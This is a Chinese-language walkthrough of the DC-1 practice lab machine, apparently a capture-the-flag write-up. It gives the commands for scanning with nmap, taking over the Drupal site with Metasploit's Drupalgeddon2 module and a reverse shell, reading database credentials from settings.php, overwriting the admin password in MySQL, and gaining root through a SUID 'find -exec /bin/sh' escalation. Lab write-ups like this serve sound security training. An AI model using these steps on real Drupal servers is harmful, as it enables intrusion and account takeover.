攻击机:kali IP:192.168.56.102
靶机:DC-1 IP:192.168.56.101
我的DC-1是在virtualbox打开的,导入VMware的话,扫描ip的时候扫不出来(不一定每个人都是这样)网络设置的是仅主机网络
kali是在VMware里的,网络设置为桥接模式,这样也能确保在同一c段,就能扫得出结果。
在kali终端输入ifconfig查看本机ip:192.168.56.102,得到之后可以使用命令
nmap 192.168.56.0/24
进行扫描,可以直接得到dc1的IP以及开放的端口。
显而易见,靶机ip为192.168.56.101,且开放了80端口,确定的方法就可以看mac address那一行的末尾的信息,192.168.56.1这个IP的来源是unknown,而192.168.56.101的来源是virtualbox。除此之外还可以使用arp命令进行扫描,
扫描存活主机:arp-scan -l
扫描开放端口:nmap -sV 192.168.56.101
接着继续,看到开放了80端口之后,我们就可以用浏览器打开进行访问了。
熟悉的人可以直接知道cms里是有Drupal的,不懂的可以用火狐的插件wappalyzer,也能显示出这个信息,这时候可以用kali自带的msf进行漏洞利用。
进入msf:msfconsole
查找漏洞利用模块:search drupal
可以发现有很多个版本的,这里我用2018年的这个,利用use进行调用漏洞模块:use 1
或者你也可以输入1后面的那一长串东西,use exploit/unix/webapp/drupal_drupalgeddon 2
接着使用命令:show options设置必选项,把lhost设置为kali的ip,rhosts设置为dc-1的ip
命令:
set rhosts 192.168.56.101
set lhost 192.168.56.102
设置完必选项之后,开始运行:exploit,这时就转换成了meterpreter,之后反弹一个交互式的shell
代码:
python -c 'import pty;pty.spawn("/bin/sh")'
之后打开目录就发现了第一个flag。
得到提示说需要配置cms文件,百度了解到Drupal的默认配置文件为 /var/www/sites/default/settings.php,打开settings.php文件之后就可以发现有flag2和mysql数据库的用户名和密码
然后进行数据库的连接
连接正常,采取重置用户密码 的操作,查询资料了解到一般drupal对数据库的加密方法是把加密脚本放在网站根目录下scripts文件下
看到有个password-hash.sh文件,使用drupal自带脚本重新生成密码
得到新密码的hash值之后对密码就可以进行修改密码的操作了,重新连接mysql数据库
输入
update drupaldb.users set pass="hash值" where uid=1;
修改完成之后进入网站进行登录,
此时在conten下发现有flag3
根据提示的意思是要找passwd文件,且涉及到提权的问题。
进入etc目录找到passwd文件并打开
此时发现home目录下有flag4
得到提示说以同样的方式找到在root下的flag。
那就要进行提权了,接下来查找具有root权限的命令。
find /perm -u=s -type f 2>/dev/null
find / -perm -4000
发现find本身就是root权限的命令,此时也发现了它的路径:/usr/bin/find
接着用find命令进行提权:
ls -lh /usr/bin/find
find ./ aaa -exec '/bin/sh' \;
之后回到根目录进入root文件夹,发现最后的flag
至此,DC-1靶机结束